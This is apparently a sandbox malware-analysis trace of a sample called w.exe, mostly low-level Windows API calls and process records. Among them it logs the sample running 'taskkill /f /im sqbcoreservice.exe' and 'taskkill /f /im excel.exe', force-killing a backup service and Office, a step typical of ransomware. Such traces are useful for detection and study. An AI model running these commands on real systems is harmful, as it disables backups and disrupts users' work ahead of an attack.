	[0043.552] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x1a) returned 0x665728
	[0043.553] GetProcessHeap () returned 0x650000
	[0043.553] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x40) returned 0x6631f8
	[0043.554] GetConsoleTitleW (in: lpConsoleTitle=0x2ef6b0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0043.554] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0043.554] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0043.554] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0043.554] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0043.554] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0043.554] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0043.554] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0043.554] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0043.554] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0043.554] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0043.554] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0043.554] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0043.554] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0043.554] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0043.554] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0043.554] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0043.554] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0043.555] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0043.555] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0043.555] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0043.555] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0043.555] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0043.555] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0043.555] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0043.555] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0043.555] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0043.555] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0043.555] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0043.555] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0043.555] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0043.555] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0043.555] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0043.555] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0043.555] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0043.555] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0043.555] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0043.555] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0043.555] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0043.555] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0043.555] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0043.555] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0043.555] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0043.555] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0043.555] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0043.555] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0043.555] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0043.555] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0043.555] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0043.555] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0043.555] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0043.555] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0043.555] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0043.556] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0043.556] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0043.556] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0043.556] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0043.556] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0043.556] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0043.556] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0043.556] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0043.556] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0043.556] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0043.556] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0043.556] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0043.556] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0043.556] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0043.556] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0043.556] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0043.556] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0043.556] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0043.556] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0043.556] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0043.556] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0043.556] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0043.556] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0043.556] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0043.556] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0043.556] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0043.556] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0043.556] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0043.556] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0043.556] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0043.556] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0043.556] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0043.556] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0043.557] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0043.557] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0043.557] GetProcessHeap () returned 0x650000
	[0043.557] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x210) returned 0x663240
	[0043.557] GetProcessHeap () returned 0x650000
	[0043.557] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x52) returned 0x663458
	[0043.557] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0043.557] GetProcessHeap () returned 0x650000
	[0043.557] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x418) returned 0x6507f0
	[0043.557] SetErrorMode (uMode=0x0) returned 0x8003
	[0043.557] SetErrorMode (uMode=0x1) returned 0x0
	[0043.557] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6507f8, lpFilePart=0x2ef1d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2ef1d0*="Desktop") returned 0x25
	[0043.558] SetErrorMode (uMode=0x8003) returned 0x1
	[0043.558] GetProcessHeap () returned 0x650000
	[0043.558] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6507f0, Size=0x66) returned 0x6507f0
	[0043.558] GetProcessHeap () returned 0x650000
	[0043.558] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x6507f0) returned 0x66
	[0043.558] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0043.558] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0043.558] GetProcessHeap () returned 0x650000
	[0043.558] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x120) returned 0x650860
	[0043.558] GetProcessHeap () returned 0x650000
	[0043.558] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x238) returned 0x650988
	[0043.560] GetProcessHeap () returned 0x650000
	[0043.560] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x650988, Size=0x122) returned 0x650988
	[0043.560] GetProcessHeap () returned 0x650000
	[0043.560] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x650988) returned 0x122
	[0043.560] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.560] GetProcessHeap () returned 0x650000
	[0043.560] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xe0) returned 0x6634b8
	[0043.560] GetProcessHeap () returned 0x650000
	[0043.560] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6634b8, Size=0x76) returned 0x6634b8
	[0043.560] GetProcessHeap () returned 0x650000
	[0043.560] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x6634b8) returned 0x76
	[0043.560] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0043.560] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x2eef4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eef4c) returned 0xffffffff
	[0043.560] GetLastError () returned 0x2
	[0043.560] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x2eef4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eef4c) returned 0xffffffff
	[0043.561] GetLastError () returned 0x2
	[0043.561] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0043.561] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x2eef4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eef4c) returned 0x663538
	[0043.561] GetProcessHeap () returned 0x650000
	[0043.561] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x663578
	[0043.561] FindClose (in: hFindFile=0x663538 | out: hFindFile=0x663538) returned 1
	[0043.561] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x2eef4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eef4c) returned 0xffffffff
	[0043.561] GetLastError () returned 0x2
	[0043.561] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x2eef4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eef4c) returned 0x663538
	[0043.561] GetProcessHeap () returned 0x650000
	[0043.561] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x663578, Size=0x4) returned 0x663578
	[0043.561] FindClose (in: hFindFile=0x663538 | out: hFindFile=0x663538) returned 1
	[0043.561] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0043.561] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0043.561] GetConsoleTitleW (in: lpConsoleTitle=0x2ef444, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0043.562] InitializeProcThreadAttributeList (in: lpAttributeList=0x2ef2cc, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2ef394 | out: lpAttributeList=0x2ef2cc, lpSize=0x2ef394) returned 1
	[0043.562] UpdateProcThreadAttribute (in: lpAttributeList=0x2ef2cc, dwFlags=0x0, Attribute=0x60001, lpValue=0x2ef38c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2ef2cc, lpPreviousValue=0x0) returned 1
	[0043.562] GetStartupInfoW (in: lpStartupInfo=0x2ef288 | out: lpStartupInfo=0x2ef288*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4)) 
	[0043.562] GetProcessHeap () returned 0x650000
	[0043.562] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x18) returned 0x663538
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.562] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0043.563] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0043.563] GetProcessHeap () returned 0x650000
	[0043.563] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x663538 | out: hHeap=0x650000) returned 1
	[0043.563] GetProcessHeap () returned 0x650000
	[0043.563] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xa) returned 0x65fef8
	[0043.563] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0043.565] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im sqbcoreservice.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ef328*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im sqbcoreservice.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2ef374 | out: lpCommandLine="taskkill  /f /im sqbcoreservice.exe ", lpProcessInformation=0x2ef374*(hProcess=0x78, hThread=0x74, dwProcessId=0x894, dwThreadId=0x890)) returned 1
	[0043.570] CloseHandle (hObject=0x74) returned 1
	[0043.570] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0043.570] GetProcessHeap () returned 0x650000
	[0043.570] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x665ee8 | out: hHeap=0x650000) returned 1
	[0043.570] GetEnvironmentStringsW () returned 0x674a60*
	[0043.570] GetProcessHeap () returned 0x650000
	[0043.570] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb36) returned 0x6640a8
	[0043.570] FreeEnvironmentStringsW (penv=0x674a60) returned 1
	[0043.570] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0043.884] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x2ef268 | out: lpExitCode=0x2ef268*=0x80) returned 1
	[0043.884] CloseHandle (hObject=0x78) returned 1
	[0043.884] _vsnwprintf (in: _Buffer=0x2ef3b0, _BufferCount=0x13, _Format="%08X", _ArgList=0x2ef274 | out: _Buffer="00000080") returned 8
	[0043.884] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0043.884] GetProcessHeap () returned 0x650000
	[0043.884] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6640a8 | out: hHeap=0x650000) returned 1
	[0043.884] GetEnvironmentStringsW () returned 0x6640a8*
	[0043.884] GetProcessHeap () returned 0x650000
	[0043.884] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb5c) returned 0x665ee8
	[0043.885] FreeEnvironmentStringsW (penv=0x6640a8) returned 1
	[0043.885] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0043.885] GetProcessHeap () returned 0x650000
	[0043.885] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x665ee8 | out: hHeap=0x650000) returned 1
	[0043.885] GetEnvironmentStringsW () returned 0x6640a8*
	[0043.885] GetProcessHeap () returned 0x650000
	[0043.885] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb5c) returned 0x665ee8
	[0043.885] FreeEnvironmentStringsW (penv=0x6640a8) returned 1
	[0043.885] GetProcessHeap () returned 0x650000
	[0043.885] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x65fef8 | out: hHeap=0x650000) returned 1
	[0043.885] DeleteProcThreadAttributeList (in: lpAttributeList=0x2ef2cc | out: lpAttributeList=0x2ef2cc) 
	[0043.885] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0043.885] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0043.885] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0043.885] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a1841ac | out: lpMode=0x4a1841ac) returned 0
	[0043.885] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0043.885] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a1841b0 | out: lpMode=0x4a1841b0) returned 0
	[0043.885] GetConsoleOutputCP () returned 0x1b5
	[0043.885] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a184260 | out: lpCPInfo=0x4a184260) returned 1
	[0043.885] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0043.886] exit (_Code=128) 

Process:
	id = "51"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x49aa1000"
	os_pid = "0x894"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "50"
	os_parent_pid = "0x89c"
	cmd_line = "taskkill  /f /im sqbcoreservice.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 239
	os_tid = 0x890


Thread:
	id = 240
	os_tid = 0x88c


Thread:
	id = 241
	os_tid = 0xb24


Thread:
	id = 242
	os_tid = 0xb28


Thread:
	id = 243
	os_tid = 0xb50


Process:
	id = "52"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4a0ba000"
	os_pid = "0xb20"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im excel.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 244
	os_tid = 0xb14

	[0043.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x30fa18 | out: lpSystemTimeAsFileTime=0x30fa18*(dwLowDateTime=0xffd54300, dwHighDateTime=0x1d52dc4)) 
	[0043.960] GetCurrentProcessId () returned 0xb20
	[0043.960] GetCurrentThreadId () returned 0xb14
	[0043.960] GetTickCount () returned 0x1b318
	[0043.960] QueryPerformanceCounter (in: lpPerformanceCount=0x30fa10 | out: lpPerformanceCount=0x30fa10*=16427034036) returned 1
	[0043.961] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab00000
	[0043.961] __set_app_type (_Type=0x1) 
	[0043.961] __p__fmode () returned 0x74eb31f4
	[0043.961] __p__commode () returned 0x74eb31fc
	[0043.962] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab221a6) returned 0x0
	[0043.962] __getmainargs (in: _Argc=0x4ab24238, _Argv=0x4ab24240, _Env=0x4ab2423c, _DoWildCard=0, _StartInfo=0x4ab24140 | out: _Argc=0x4ab24238, _Argv=0x4ab24240, _Env=0x4ab2423c) returned 0
	[0043.962] GetCurrentThreadId () returned 0xb14
	[0043.962] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb14) returned 0x60
	[0043.962] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0043.962] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0043.962] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0043.963] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0043.963] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f9a8 | out: phkResult=0x30f9a8*=0x0) returned 0x2
	[0043.963] VirtualQuery (in: lpAddress=0x30f9df, lpBuffer=0x30f978, dwLength=0x1c | out: lpBuffer=0x30f978*(BaseAddress=0x30f000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0043.963] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x30f978, dwLength=0x1c | out: lpBuffer=0x30f978*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0043.963] VirtualQuery (in: lpAddress=0x211000, lpBuffer=0x30f978, dwLength=0x1c | out: lpBuffer=0x30f978*(BaseAddress=0x211000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0043.963] VirtualQuery (in: lpAddress=0x213000, lpBuffer=0x30f978, dwLength=0x1c | out: lpBuffer=0x30f978*(BaseAddress=0x213000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0043.963] VirtualQuery (in: lpAddress=0x310000, lpBuffer=0x30f978, dwLength=0x1c | out: lpBuffer=0x30f978*(BaseAddress=0x310000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x100000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0043.963] GetConsoleOutputCP () returned 0x1b5
	[0043.963] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab24260 | out: lpCPInfo=0x4ab24260) returned 1
	[0043.963] SetConsoleCtrlHandler (HandlerRoutine=0x4ab1e72a, Add=1) returned 1
	[0043.963] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0043.963] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0043.963] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0043.964] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4ab241ac | out: lpMode=0x4ab241ac) returned 0
	[0043.964] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0043.964] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4ab241b0 | out: lpMode=0x4ab241b0) returned 0
	[0043.964] GetEnvironmentStringsW () returned 0x5a2000*
	[0043.964] GetProcessHeap () returned 0x590000
	[0043.964] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xaca) returned 0x5a2ad8
	[0043.964] FreeEnvironmentStringsW (penv=0x5a2000) returned 1
	[0043.964] GetProcessHeap () returned 0x590000
	[0043.964] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x4) returned 0x5a0c38
